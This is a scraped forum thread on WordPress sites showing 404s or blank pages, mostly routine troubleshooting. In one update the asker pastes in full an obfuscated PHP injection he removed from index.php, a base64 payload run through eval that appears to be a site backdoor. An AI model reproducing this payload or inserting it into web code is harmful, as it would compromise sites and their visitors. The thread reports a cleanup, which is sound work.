WordPress 404 front page and all pages, even after permanlinks reset - php

I had a WordPress site that was working today. The wp-admin section was not working. I renamed the plugins folder. That did not help. So I deleted the .htaccess file in wp-admin. This fixed the problem for wp-admin, which is now working.
I then restored the plugins folder.
However, the public part of the site was suddenly broken:
http://www.smashcompany.com/
http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end
There are 3 things that are often recommended for this problem:
deactivate plugins
restore the .htaccess file
rebuild the permalinks
I did all 3 of these but I am still getting 404 on all public pages.
There are no useful error messages that I can find in the log file. Just 404 on every request.
Can anyone suggest other fixes?
On the same server I have a WordPress site that works fine:
http://www.weneedpatientadvocates.com/
Therefore I don't think this can be a problem with global Apache settings.
I'm thinking it has to have something to do with plugins, but I've deactivated and then reactivated them, three times now, without getting any improvement.
Reading here:
https://themeisle.com/blog/wordpress-error-log-debug/
I added this to wp-config.php:
define (WP_DEBUG , true);
define (WP_DEBUG_DISPLAY , true);
#ini_set('display_errors', 1);
But I still can't get any errors to display.
I added this to the top of wp-config.php:
echo "hi";
This does not appear. So the problem is before that.
Update
Okay, I fixed this. In the top level index.php, I removed this:
$O00OO0='n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0ibklrd3hKcExGUWhWV3lybXNNS0JlakVvWVVHaUFSdGxkZlpEVFNiZ2NQYUhPWHp2cUNOdWJucEpGSVNDTGRrR052UmFxenV4Y01BRU9vdFlVbHJtRFhqZkJ5V2VLWndUVlFIaGdzUGlaZjlKd1RVZWpiR2lPM2xTVzI0ZUR0RDFXTExsdXNsaHkza09CeXB1Y3ZVdUl0OUNjTGtQWk5ENndONWFXdEwwanlrWU9RUG1QTWxYanRHTVcybG11c2xoeTNrT0J5cFNWSkVlamE5dnVzbFNaQlU3SXRwOEszbHZXdEdpdXNsaHkza09CeXA3SXRwUnV2cHVuVHF1SXQ5Q2NMa1BOdmxTUXlVOW50UEVLWWtoS2FkRUl0OUNjTGtQTnZsU1F5cHJ6eXA3c1l4OXNZeHZqUWwxS2E0ZUl0OUNjTGtQVkpFZVhORzJPTkpFRHREMVdMTGx1c0kyR2JkM2pmbTJsMkZhVkFBUndMTG9vYVBNakhMNW9wcDRkMkZ3R2FrNGxieHJvTmR2UG9TQ0dHa3RvSElNbDBJQmxObWZkcElJVzBMdEtMUGpLc3JvVm9sU0RmREJvTUxtd2FMNE9CbXBqUWU1RE4xQk9ibHVQMDB2emFTRUJCUDZOYVB5eTJqckRZOWx3Qm1wRDFTMmowcDR3MklhY29rU05hMDFWUVNwekhEckRhMUF3b0lmVkE0aHlRbUlEQXJCY0FqVnptR0pEMWxZV1F4VE5UR1NLTlNsR2FwSksxSXp3QkwzY0dHcm8zbXdsQTl2VkJEMWptVTJQSERGem14aURmQVJETVBkelFQd1ZvT3Z3TGtxTnRJaWpRbEVvM2x1R2J4Q0dRRFlsMEZaQk1PNURvSTJjWXEzVk5kaGphTHVQdFBkejNvSGpORzJjYnpGV2ZwNWQwMXNCYm1wV1RQZk5ianFWQTFGamZEMHoxeElLMVA1TkdEU2wyTFB3Qmp3V3RrQ09Ca1p3ZkR2Y01tYVZmbTFqYU8zSzJLNURva0FjZnB2S016aE92cm16Qkxpem1MVmN0bHlHYUxHdTJyMnkxbWl6Tk8yR2ZtM1BZOW1CbWQxVk5yZGwzZTFQb2t5S0xuRncyRnNCTlBHemJTTEsyclJqR0RQbE5sYW90bUp3UUtGTnBQZGRhNWtLbWpxd3BtZkJmR3NkM2xSZEdEVnlRalBPUW9GRzBBMW9wbDVqR0lwRzBMeFZMZXZOTjk2Y2FyM1BvMWJvYURoekJMbHpiZDJEMVU0d0J4ZnpObE5kMWpsY0xwNG9ObEhjR0xhVm9EUUdMRDJsbUdQajFvdm9vUEF6cG5Gd0JuRmRHUE5sYkdubGZLaEt5OTFWVGpBUEhwMnpteGl5QWpCS29rWUsyRFlOTkZaY0JqSkswU3pLQTVaelFTYVdzcmlOYUxHS0xEek8yU0ZqTEdObEE1ZFdMbGtCbzUxS0dTWUtMUDVEbWpWbExJNkJMbW1sMjlHbDA1dkdONEpPbUlUd3Bta3VIeFZsR0kxRzBtcE50RjRCTjVDbzNtMGNNbFJEbWxQUGFsdnpOR3JOYW1nanY5MFAwSWpLbW1nR2ZMWVd0Rm1jbWpnS3QxR2RvbTNHbW02R01HalBObGpHbWptTlFvdnlvMWJQYmtvd0ExdmN5ckZOTW1keXAwMHoyU1NPbXh1Y3A1SG8zR0lETEl1b21HVk5vS0p5MUd5QnRTbXpvbXpvM2pKbG9QUkRmeHhLQUVKQkJHTlBMTHpCb0dwb05TbVdMZEhDM1BNeXRkNVZmb1JvTFBwY2FTTXowbDFQTlBaT2FFUkRHeDJXR0Q1QjFrd2pMREd3TklJakdqSldReFF5QXEyeTJHUmxmbVBOTEdFR0dTc2RiR0FOQUc2ek40aERvblJWeXJ2UDAxQUJNbzFqUUR3enQ1YVBNZTFXcG8yV1FqaUJRa21CMFMyV0E1RlBhMW1QcHo0ZDI1bUJ0MWh1SEcyb1RvM092clBvc3JSY2JHcFBiS2h6YTRoUDJlMHkwOEhXb2tKZGJHZHcwRGtEczlyZEdVRkJRR3F5cEZMeTJKRkdtbzBEM0xFb0dJbEIwcmJkQmtqeTBQdE5NamhQTnAyV3BJM1cxRFpqYmwyejJvUnUwRkpQSE8xQk5qQ2p0bExLcGo0RHBJdWwxTEdHMjVqbzJFaFZmbU5WZk9GY01tcW8zVTRDSElRQzBuME5vTFlHMUtSekhqSmoyOVRObzkxb29yZktBUEJPSHhBQmFGRmwzcEhkMklOS0dEYXdRbW96THB2RFRHdktta09sYW92S0FGUUJiSU55MEVIVm9TVm8zU1Z3SFAwQmZ4NnlOTEVETGtHd1R6MkcyNXhvR2U1V0JqUEdBSWRsTmxib21QbE5iTDNXZkQ2ajFsYk9IajRvMkxrV0dtZEczUFNQTUdRQmJTeXozbGt6Qm5KQzBvSEIzTHdvTmtCS281VnkwNVN5QkdtTmFGMGQxbFlsTFNNdzNwMURUbUlXYUR4V2E1ZldtU2ZXMVN0QkhJTmxOR0djdGtseXM5bGowMWh6dGx4eXQxNXdta1Z3YXpGbFFtendhbVBCMHJSR0FHblcxRUpvcDVuakFtR0IxRE5scGt5UDFMdEJMR3FvTVBmZGJHdXlwa2tsVGt4RGJsSndibHhXZklrRHBsTkJOTHNCZklTT0JJa2QzSWJCTUlkR05tWU5BSUNHbzEzR0JEc0RwREp5WXJJQkJEcWx0ekhEb2U0UFlyTU9RU2dDMGt5TmJwdmNiRE9WbzF0RGJsSkRCR1NHb21QQjJEc1dvU3hqUVBpeUhVSEIxanh6czlsd01EcWpRRFJ6MEdnalRqNlBvTHVjYUdBam1vME9iU2RqMWQwR01EMGpHbHVEMGtKam1tQkIwTGdCQmtoRzNMdkdOckZsMmwwRFRMU08xT3Z5QVNiVkFyNm8xbXZDMVB6RE14dHdNalFDMXowT0JrdkRRZTJ6M2poT0hEaWRiSzFscFNQZEhMNUcwTGFqMDB2alRrMXkwbVlPcGszd0xsWmNUUFp5dExSVzA1YndiRFJWTGtTV29kSHdUbFRscG1tY29scVd0RFJXYm1oTmF6RmN0OWJQbzkweTJBRnptanpsdDE0eWJ4cWNRTG1sZnhtejNHZmxMRHVEUWwwam1rUGpMZDRObzAwbG9sTVdHUG55TEx1ak1rT1BtU3ZEQkxubzFMVHpISXVXUVBQdTFtTnp2OU5ETmp3V2ZwNEJwa3N6c3IyakE4M2pUUHFHM3hsamJtakRMT0pCdER6ajFqR2NhSUJXMDFyRzJsamNNa3NWdEdvS0xqVkJMbXJOVGtBQjBLMU9Hak9HYWxoUG1JZ0JhejFjTkc1QzBsaVd0UEZXeTlmRE5QSUdMUG95MVNieTJscWxvODRsTW0yY1FtSkJ0SXFvb0lJZDNEM05ta2p5MjlDV3BTbFZ0TGd3YTVKdzJEb0twUFR6b0RiV2FJSE5OU2dHMUdxQzFQYmpvbGhDMlNNTnBMeFZCTFpHcEUyS0hqUGoycnpsdHJ5Qk5HSXpwcDJWQWw1ZEdtbUJCbFZsTWpiV0hrcEdiSWFQQVBnR2ZqbmxmS0hXdEd4T0JEeVBmR2l5MG5GV01LNHdwMXBjR3hCeUxkUmRwbDRqdEYzekxMMnlMSU9QZkRmd0dJUXUwTFpHb0lxQk5Ta1AxR3dETHhnVzNtTWRvbHpkMkRMZDBJeHowbENXbUkxek5scEcybGl3ZkRtRHRJYXkyTEhOcEc0UExMZ09hRlBjbzBITmE1dVZ0a1p3cHJMeWJEUVd0RElCdG1nT1FwRmwxU2pOTWxPb05tNWNwR0NPQmx3T3BTSWNBR0dQbW8yR1RVNERmUGx3dHJZZDAxYWNMSVpDMHJkZDJTQnlOR1RsZm52RDBtZ05mbjVPbW1xelFJUWpvSTFCTFUxY3Q5RW8ybHV6TGtaQkEwMk8walNEUU9SeUhJUFBiSzNOcGpkTlk5RmQwUDNvMEloR3RGNURtanFjUWpOR21qaHpBRm5CR2tSSzJGYkcyNWFOYUlhR2JrYUd0UHNvQWpTbG9HbVdBRENLQUl6V2Z4Z08wR1psSHh0d3RQTU5wSmh3QnhyeUhMNHcyREN3TGs0eVFMaHd0cndXQUFKQnNycmxta1B3bVNreW9Qb3dNVTJQbzFuek1JeFdMVTJHTHhHbExsR05hbG1LSHhJRG9tQkJibEx5MGQzRGZrMmoyMDVXb0pGV05rMmNCbDZEb0RWZEJwMUJOOTN3SEE0d2FTM1Bha0NXQmxoRzJyWURhbTNCbURiV2JQTmpNbEh3QlBRd0xtdm8yckpLVERsY3RsaVBvMTRHbUlKZHA1UnpwbHNETUROS01Ja1dHeFNqSG1UdzJqTFcwbXNWdDF6V1Rsa2wzbUhCMkZFQnA5Ykt0R25sbUlUeUJ4T08ya3JvMUdkT28wSmpHZGhPSEQ1RG1Jd3dITDRkQmw2eTNTWnUxa0lvTjhSamJJUXdwOTZ5Qk81ZHBMdnlORGl6bUdIR0xqZEJwbG55MlBIeW9EckIwbjNjb3pKelFqTWpOOWtqSG1sVkxJbUtBTEl3TjkwUEhsc2xwOTVsQUxWb01MU0RwSjJOcG1nQlFuRkdBOXpvM1NHb2FqcXkzR0J5bzlJS0JHT09HUGlHb0lCRHlydFBObHF5SExvREJudktURzFCUVN0ank5NWQyU0d6dFN5Y2JJRktOMW9CVElnb01EZ1ZMeHlLSEQ0Tm1MMUdIbWdqYkc0V0xTQ0dvU1pQYmp1UExqWU92cmFOeTlaVk5qbVBNcDNWZm1hUDFsNEQybGRQSFBHak5qaXozS1JjeTkzUDNQa0czTG1WTmxFV2JsWWRvRmhsb0wyT0dBNHlBbzF5cDlFbEd6MXlITDVHSGxORFRVSE8xbGF6Mkd3S05sMFdhU2xPYmtsZG9BNWphOTBqbW1kS2FQTndUU3RETmtadzFMM08zRFZXcFN6R045TGxIUEZQR2tMUExJNVBBQTV6TmU0d0h4cEIyRHNWUW12T2FrcVZmamhCb0lKanBlNWNNUDNsVFNpT285MmxRbWpPMDRKb3BvM3dwOUdXQUZMeTFrU3dOb0ZEVFBham8xMVdmbEN3b2t0eUxMYmRiSTBLM3gyY1RreXoyTzJHdDlJRG1MNFBObDFqQUs1dUhkSGpvSVN3SExhQ3Y4aENIUHBQM3pGeUFuNWpRR3BEQm9ob0JPNERMeDZLTWQwbG14aHoxVWhEQlBIbDBrMFAzb2hqeXJFakdHYmRvNU1jQmt4bEhrWWpMa1F5TUk0V21sancwTGxqTmpvdzNPMmoxUFBCcDFrekJEdWx2cWh3TElUajNHcmxUU2JvTW1JZEJtR2NwMEZsTlNJeU5sZ0syRmpjUVNzakJvdkQzTHdCTHh3V0FTZmxzODFCTW1nY2FEUEJCeE9OYktGUExMMGQwTGxjQTVyb0FqeUMwMWJ5Tm9odTJMSmNNZFJPWXJSY2FPSFdZOTVXZmVoV1FsYlZzOFJETFVodzNtNEdUeGFEYTFiank5cE9CcDVXdjlaV3RQYXlMZTF6SEk2VkJkNEIyam5kWTg1Y3BlSk9NUGlQSE8xQ3Y5T0dZOVFDM2pQd1RqWWpRa0JkMGR2VkdMSkJMbTBQYVN4d29Hb1BIRFlCYklBSzBsd3l0NVROVGxoR2FTb2NUbDJHMkZTb2E5T0IzU0hOQkF2TkFFNVBNa1JkTUw0S3Zya1dHZTFXSEdRTmExcEIzU0dDMmRoS3Awdk5Ha3RLTEU1R2FKdkszSXpQeTgzdTJMSEMySjVPYkxBTnRKNU5CTGROTUl0T05JekdCemh3TER0T0JEaktIRDF6M0cyZE1VMXkyRGZCcHJwS0FHQWx0bG5HR2pwd2FMa0JzOWRHYUk0eTNFMkdteHNXQWpNdzBHZldmR3Vsb2tCS0dPNHdOa0JvMG1sZGFQQU55OUpHQURpS29yMERvTG5qTGxSS0FxNEQxTGxkM2xRb0dVRkIwRk9OTWpoTkFTaUswOXZsTW1BdTJEQW8wTEVCUWwzajNtZ1cwU2tQYWo1S21TYndBNUpObVNvT0dqQnpCRGhsSG4yemFyTkJvMUNjVHgzajFtRWx0cnZ3R0E0dUhrakJBODJ1dnEybFRFUkN2OUZvTHhSR0FrMnowUzNOTXh2V2FqMnowOFJ1djlwQzBsME9iUzJ6SFAxY3RHMkd0MGhCcEl1TlRJbGNMU0ZqbVBoR05tSXoxazZWbzVwakFyMkJRSVJPMGxIS2JLMmowbWlWQURzenQ5Z1BBZUZESE9SS3RHWnlIZDNvTjVpV1R4TUthOUd6Qkl4RGFQNGNBUHZHYUdhRzIxaERwRjV5TkRrT3Y4MEJBa1B6SGtTTmFycFZ0ajNEYTVhT05qMkJhZDFWeXFIRG84MVZUa0V1MjFxRGZtdEtCR1FPM0lxRzFvNFBBMDJvdGsyb0dEWmRhNHZQQW1nb3RMeHlBOFJkbU8yeXBrdGNmeEFOYUY1ZGFkMEJtU29EMEYwdTJTM1dBMXBLTXhzQnQ1dVBiSXpCbWxmZEh4ZkdOTGxHVGs1VnNydFdva0ZOb0U0ZE5QMkQxUE95UWx3bzNTSnphR2FHYmtPekFGZE5BU3d3cGxTem96MUtHajBQMW15dTJJcm9tamlsYWtNRzByZ0JIQVJOR28xTzFlMEtmalRDMDhIeW80MGozR21HQWtxQkhtSUtIbDFHYno1Qm1PSlZHRG9Eb1NvY29GUEdNUHdjR1BwemE0UnlhRFJETmtRdTFqc0twR25LYm5oakh4Q0tBMXdvMlBzd29JM1dhbGt6QTUwdzFsUHlteGpPMXh3S28wSHlvQTRQQktIb3REMld0R2J6MXhaeWFMVE9IZDBOTFB1RzBHZmpNa2tHTHhQVzBMTHkzbGdvM0dvZDNreU5NRzV3dDFhd3BtNUROREd6TUltVkJwRm9wOEpCQVNnREFuaGNZOXJHSFByek5QaU9Ra053QURpR2ZvMksyOUpOYVNPemZEeW9ORFREYmpOY2JuSkNIUGZ6bVAwVkFsZ050MVpHVG52V2JsTmpHT0ZvbWo1d0xkMUJBR3JPMW92ZFFudndwa3VvTjh2R05HVGwxUGlsYno0R2JtaHczbVlvM0dGQzBwMWpOb3Z6TG1yRzBxUkdBcmFCZkdubEJqTkJITEh6b1BhS1FQRnptbFpPYXFSS2FMUXlwbFpPYWswT0dHUHpMRHNjWTlDUE5Qdk9wTGZWTnE0RzFTWUcwU0dCM2V2T2JtMEQyRnJkTno0d2FlSEJUTGpWZmoyTnAxMk9hejF6b2xyd2JBUldRanB6R2prTzN4a2xIR21OUVMzT29rM3dtS0pETXAyV29ERWNvOWF5dDQxd3BMZ1dOMXdWQm10R0ExMUMxRG93dG9oeVFsTk9wSUJ5ZkdqRG1qWmxvRmxQMEZ3b0dqRk9tVUZETFNPeTIxcXlBSkpCUW1qemZHU1BhTEhXQTA1RFRERlcwOW1QUVVIemZ4QU5ReEd5YXJ1RFlyVm9RU2xESGpTRDJHQ1AzZEZHMkxwQjF4U05ONWRvSGtJT2FQSHlNb0hXMkRJbEdrNURva0F3MVBQR0FrSUROalJqMHFSUEdlMkJNbEN1MU8yQkFGMW9MSzBPR080RzBGUFBMbDZXMVNBVkJVMGpvREp5b1NTQmZJb0RIRHh6TERuQjFVNHpia1lQMUl4alF4TEMwalJjVERzUDByWmxmR21sSEx0T3BvSnpvRlBEVERqd3BrNk8xR0hvQmtJZGJQT1BMRzRvdEx2ZFFsa2ROTFJkcGtRb1RJem8yclN6MExGV3Rsd0dOMWxEYmt6V1RHQnpHbGtvdHJ5QzBQUVBHa3NvVEdpS3RsR0tISWdXb2t5bDJlMUMwU1l6YXEzTzJtVHowR1NDM2xualRQUUt0akZXUVN6TmZwNEcyS1JjTUlkV21qdk9hcml6b08wY01rNkdBa0p5dDhSUDJqWXdUZVJPM0lOY1lxRm9MelJqbzVhVkJLNVBIeG56M0loR0htbmxURzZHbXhGUEhHSk9IRHBvTVBBbE5sYnpRUFlQcEkwZDFwME5RbHJOVHpIalRTaXV2cjR6Tkd0REFyZ09OSW9LdG01T2EwMUtOR29XdnEyUEhreURMeEZEM3BIb0JrU0RiSVNjWThoR0JMb2NwSjNPYXFSY21MZmRtbkZjbWxOS05QSW8zSXZ1MDFxdzNJaXUxajR3ZmxnY3k5UXczeGROQWpnQmJEaUMzRGdsZm1ub01MUGxORFpqYTlubzJyRWRIRHVHYUZOVzJJUFd0bVpXQUd2eVFLMU8wckhCTERSV2Fsd2xOck1WTGpTY2ZHNURHa2Zqb09IeXBqc3pNeDNPUUlyZEJtemxBakl5MlNwZG8xbGowckhXM0l3eUx4aXUxU0lvVFBDakdHbEJOMU95QVB0TnBtNFBibGRkM2trem1wNUdIRGhsQklkd1FTa0RvbjVEVGp4amFMNEJBSWhsQnoyenRteWROTFFkMDlPY2JEVncwOW9PMW12UEF6Sm8wMWhvUWpRTlFqNm9UUzNXR3hSajFTZ1BwbXJvbzlSTkFqTGRRU1ZHYVAxd3RrNGNva2dLMGtJeXBMZEsyOTRqbWx2Qm1tUmowazFvM21mTk1rTFBieG1jdEQ2bDNEbU9HbVRHR21PS3A1eGQxU3BCM2pCajNETHlCalZ6YkRMemFHMldvSWpsM1V2bEhQaW9ORTBXQWpWZG81ZkRvMTROTmxsbFRHTmRwUG13YkdQV3BqamxvNTVqdEswQjJqc0RURHZsYkRZVzFMQncyRHpLQUczTkxrZ0IwclFvR0l5d0xMUkRIUGdkTUl4UHBMU2QwbG1vYXpIbGJ4TVBwbW5PYUszRDJQSG9manNkbzlBTnRQQ290NU1Eb09obEJQSU5RbXp5YlVKREFudmQwR0hXb3poY3Nyd2NOU3dXTm1HVlRsdEswU21HQW5KTkFyZkJvRjZ6QmtxV05ycHpwand5SGxGT3BGUW9Mb3ZvMjlKbFRvRnpCSW95Ym0xR1F4NHpNTHRWTGxWUDBPRm9vU2JsVHA0UDBqYk9wamJ3bzAzT21JT3dhbGZ5YUQ0bDBsVGxvNXpQb0RURFFHQ09CeFZLTHhCRDJEbEdCRzN5cDUwRHRJc1dHeEpvUWtFbzBTaGRtR1BjQTUzd1FqUUIxU3lCQW1ZV281Wnkza2xCTmtmV3BlMVAyOWJXMG52Qm9TTHlBSzBLZlBIVkJqanltbU1XdEl1bDFqQ0JHbExCTkloT05JTHkyU01qb2pUZEd4aWxRbGdXTkx6ak45UWoxVTFsTjFsREFsZnpUSVJkbzBGY29QaEdvSXdXM2trR0ExU09tTExsb0Zrb2ZEcUszTEFsb0wwTmE5TG9wUENLR2tPZDNvMWQxbUNvTnBIbzNrU290ak9LSGtieW9FM0dHSXREYkdibG9GZ1AwZVJkMm1tTkxrRkt2cUZHYnhHVm81SVBvOXlvSGtIUFRsUEczalRLTExoR1Rrb1BwbTZ1MkdmQlF4a29NUEVsMVBWT29yaFdvRHZ5QTFNb0FHWXdNUDRLM3hZbDJyamptVXZPR0VIV05TaURIVUZjcEE1d2FxSkdHSVl6M2xPeU1qZEJCanZQVGxmZHBsWXcyREZQR2xIT2FsVkRORTRqYmo0b3AxaGpwejB1Mks0TnRFMGNhTFBLMmt3VmZuaHlvR29vTmpzV29JYnlzOWRCQW80bExtTGRiTHN6MG1oemZMaFdNanlLM0RQREFQWktMU1BvWThKd1FrNWwyRm16THA1QmExZFdvTDRDMms0TkJrRnUwMU9OdGtteWJPM3dwbFF6VGpheVk5UHliRGd6djlUSzJHZE50R0JQUVBtam1TWW9tU3VkYURIbHRqM1dBbTNvYkcwTm9QTEQzbWdQcElUbEJMNEMwbjBETkRaamFEZmpNa0ZqMGQwelRTeU9ianRscElsakdMT0ROUDRLM2RSY281VERwTzFqQm4xQk5MQW9vOTJQb0xDRGExSnpvUHNQdDVnb0hvSGpIQXZ6eXJmak4xT2pvcUhkR3p2S3M5T05HUGx5MVBCeUdET2x0OW1QbXhiREFrQm9vam1HQUltS1RrTEJ0cmtsTGp5ajBtVnUyOU5QMVNNRG9JbE5wNU9Ob0dDREx4TVBMalFQdGpwRGE0RldUbG9LMXhNUE1udlBIbEJOR3hZSzFQM2xBSzNsVGxaeXRqYlBRUEZjQklBT01VSHpHbXN3dEZQQmZtR0IybDVWQWUzZFk4aE8zcEh3MmozbHQ1MVBmakhPeTlhbFFJZ1dma0NLSGtuR3k5c1dIbWpjTm9oVzNqTlAyOEpkM2pyUG1Tck5ibXF5cDVkbEE4NUJvRk1jR3h5amZHSFBBOWZQdEkyQkhtRUtvbVZ5cFBPRGJJaktIbW5qMFNrekE0MUJZOEh1MDk0d0xrT3p0bU5sM2R2bzI1dVcyR2x3b3JIQnNxUm90RjBqMEZyS0hETm9mUHdEYWpFUE1sRWphcEhQcDV0UHZyeXpiSTVHM3hxRHRGQ0RMakxCTkxneU5yNlBCajFqMmxwV0dMZ2pObXpsUWtwV2FQU29CbjNsM1NUb1RJbldtRzJvb0ZseWFHaEdUa3lQbUxuem96Sm8xR2tsb3BSakJQZHpwekpLR2tGbE1HUkRCeG1sVERwbE4xblcxa0xsQWpqY2ZwMFcxT2hkTks5WnluU3VCcS9aZT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
What is that craziness?
Why would it break my blog?

Have you tried to deactivate all plugins, rename the plugin folder and try to access the site. If that works then the issue is one of the plugins. Activate one plugin and test, activate the next one and test and so on ... until you find the culprit.
If that does not work, then there could be change made to your .htaccess files.
Take a look at the modified date on your .htaccess files. Maybe a plugin made some changes the .htaccess files.
You may also try to replace the .htaccess file with fresh .htaccess files taken from the wordpress source code.

I ran into this problem when changing the main query through pre_get_posts in functions.php. Same as #winteck recommends disabling plugins:
Try the theme with empty functions.php

Related

What causes a wordpress homepage to load

UPDATE: Real links below to illustrate my issue.
Stick with me on this, because it is a valid question.
In the old days I could have danhoover.org which was a wordpress site and I could have danhoover.org/new which was another wordpress site and both would load fine. I could even point danhoover.net to the danhoover/new directory and the page would load just fine no matter how you got there. You could use danhoover.org/new or danhoover.net and it would load fine. All the permalinks would work. No problem.
Now, however, there is some sort of voodo going on. If a wordpress site is in the danhoover.org/new folder and configured to be "danhoover.net", navigating to the folder as danhoover.org/new will just get you a 404 error.
In addition, going to danhoover.org/new/index.php will get you a 404 error.
There is some sort of voodoo going on that makes you use the url defined in the configuration for the site to work properly. What is it? Is there any way to manually update the permalink structure so it loads properly with either domain?
I guess I'm just confused as to what in the world wordpress is doing that is different than any other php site that prevents it from loading.
UPDATED LINKS:
I have a folder /a which has campscoreboard.net pointed to it.
I have a folder /a/c which has www.c.campscoreboard.net pointed to it.
Wordpress links:
You can go to www.campscoreboard.net/c and the homepage loads
You can go to www.c.campscoreboard.net and the homepage loads and all
the links work.
But if you go to www.campscoreboard.net/c and click on a link like the
Hello World article, you're redirected back to the root for some
reason.
Vanilla PHP Links
You can go to www.campscoreboard.net/c/test.php and it loads fine.
You can go to www.c.campscoreboard.net/test.php and it loads fine.
Only the wordpress urls are redirecting back to the root when loaded via www.campscoreboard.net/c
I've not tried to install WordPress inside WordPress before, but ...
In the wp-config.php file of the relevant WordPress installation, you can set the correct URL and HOME directory manually using:
define( 'WP_HOME', 'http://danhoover.org/new/' );
define( 'WP_SITEURL', 'http://danhoover.org/new/' );
I usually add these after define('WP_DEBUG', false);
Hopefully this helps.
This shouldn't be related to the home configuration as all that would do is forward you to danhoover.org, not give you a 404.
This is likely a server permissions issue where your server is blocking access to the folders. This can be set either on the servers main config file (e.g. httpd.conf) or in a .htaccess file which can be placed in any folder to which one wishes to change its (/subfolders') permissions.
You can read some more here.
A quick way to help you diagnose this, create a static html file and place it in danhoover.org/new call it index.html and place some text in the file then load danhoover.org/new in your browser and see if the text you've written in the file appears, if not then you know it's a server/permissions issue, not a Wordpress one.

Wordpress page suddenly blank

I have a WordPress website that's been running for almost two years now. All of a sudden, it started to show a blank page on any public page. The admin part on /wp-admin is still working without any problems.
A http request is successful (status 200), but the returned content is completely empty (not even an tag).
I'm not really a PHP/WP expert. A simple web search got a lot of results, but mostly old stuff and never any clear conclusion of the problem's source, i.e. how to fix it. I already enabled WP_DEBUG in wp-config.php, but this only shows debug messages in wp-admin, but the public page remains blank.
Where should I continue searching?
The problematic website is http://lolkitten.org/.
Update
I just found index.php inside my public_html, which was empty. After writing something into it, it appears on my home page! Also, there's a directory /home/<user>/home/<user>/public_html/ which looks like complete nonsense to me.
Update 2
The Problem solved itself after upgrading to Wordpress 3.8. I don't know why, but it seems like some files (like index.php) were messed up and got replaced by fresh ones in this update.
Possible solution / workaround
I've had this problem again. This time, my index.php was completely empty. In my dashboard, under Dashboard > Updates, I clicked on Re-install Now and it fixed itself.
Most likely the wp-content folder can’t be found. When you login to the admin does it state that the templates can’t be found in red text in the center of the page right when you login?
I recommend going into your wp-config.php and adjust—or add—the following constants:
define('WP_SITEURL', 'http://lolkitten.org');
define('WP_HOME', 'http://lolkitten.org');
define('WP_CONTENT_DIR', '/path/to/your/wp-content');
define('WP_CONTENT_URL', 'http://lolkitten.org/wp-content');
Fairly confident that the key to fixing this will be the WP_CONTENT_DIR setting. You need the full path to the directory in the file system to your wp-content folder. So if you have a standard Unix setup with lolkitten.org in it’s own directory that path would be:
/var/www/lolkitten.org/wp-content
And the WP_CONTENT_DIR value would be:
define('WP_CONTENT_DIR', '/var/www/lolkitten.org/wp-content');
EDIT Adding info on how to determine your script’s absolute path if you do not have SSH access to the server, but have FTP access of some sort. Just FTP to the server & create a test file called test.php and just put the following code in it:
<?php
echo dirname(__FILE__);
?>
Now load that into your browser to get the full path:
http://lolkitten.org/test.php
__FILE__ is a magic constant in PHP that will echo the full/absolute path of a PHP script.
try deactivatinhg all the plugin once.
And if you can not access admin panel do the following to deactivate plugins
In the database - wp_options table
change the entry to a:0:{} on option ID 35- active_plugins
As far as i see error, it is because of share-buttons plugin.
Try removing share-buttons plugin from plugin folder and then check again.
If still problem exists then remove all active plugins and check again.
I too had same issue and it was because of plugin. I deactivated plugins one by one and my site was recovered from crash.

wp-admin shows blank page, how to fix it?

I am working with WordPress 3.5.8. Yesterday I made some changes into it to a friend. I don't know what happened, but after some time when I try to log in at wp-admin side and execute URL www.mysite.com/wp-admin it shows me a blank page. How do I solve this? I have searched over the internet and blogs. I found it could be related to hosting problems or brute force-attack, but I don't think that that's what happened to my site.
Links I visited:
http://wordpress.org/support/topic/wp-admin-wont-load-shows-blank-page
http://wordpress.org/support/topic/brute-force-attacks-and-wordpress?replies=1
http://wordpress.org/support/topic/wp-admin-wont-load-shows-blank-page
http://wordpress.org/support/topic/wp-admin-blank-page
http://wordpress.org/support/topic/blank-page-on-wp-admin
After dozens of times trying to fix this problem reading forums and posts, reinstalling WordPress, removing white spaces, putting lines of code in wp-config.php, index.php, admin.php, I fixed the issue just by renaming the plugins folder to "pluginss" in FTP. So wordpress asked me to update the database. I updated and I could enter at /wp-admin. A plugin was causing some conflict, so when I rename the plugins folder, all plugins automatically has been disabled.
As I was inside the /wp-admin dashboard, I could rename the "pluginss" folder to the regular name and start to activate all the plugins one by one and see what plugin was broken.
Now is 100% fine.
Try turning on WP Debug. If this is happening due to a PHP error (which I bet that it is), you will be able to see what's going on and fix the error.
Go to your functions.php page and delete any spaces immediately above or below your PHP tags.
I faced the same problem and I tried many things such as trying to login through wp-login.php instead of /wp-admin and adding ob_start() in /wp-admin/index.php (if you hit the url /wp-admin it goes for /wp-admin). It showed login page but entering the username and password shows an error like "cookies are blocked due to unexpected output".
I finally got the solution: it happens because the theme or plugins that you installed are not supported.
How to check and fix:
Rename the plugin folder name and theme folder name. If opening /wp-admin and entering a valid username and password the dashboard is shown, then it worked.
Revert the folder name of plugin and theme, then activate the themes and plugins one by one, cross-checking with /wp-admin. You will find out the unsupported plugin or theme.
I also had a blank screen for my blog. The solution was to copy up a backup copy of wp-config,php somehow the 'live' wp-config.php had been replaced with a file size of zero.
In my case I had the same problem. Helped remove the wp-config.php file.
Wordpress created new wp-config.php file and wp-admin is working flawlessly now.
Rename plugins, themes folder does not help.
[6] was spot on. I had the same problem
ie a blank screen where wp-admin should have been
Renaming plugins to pluginss let me get back in.
I also had a blank screen for my blog.
The solution was to copy up a backup copy of wp-config,php
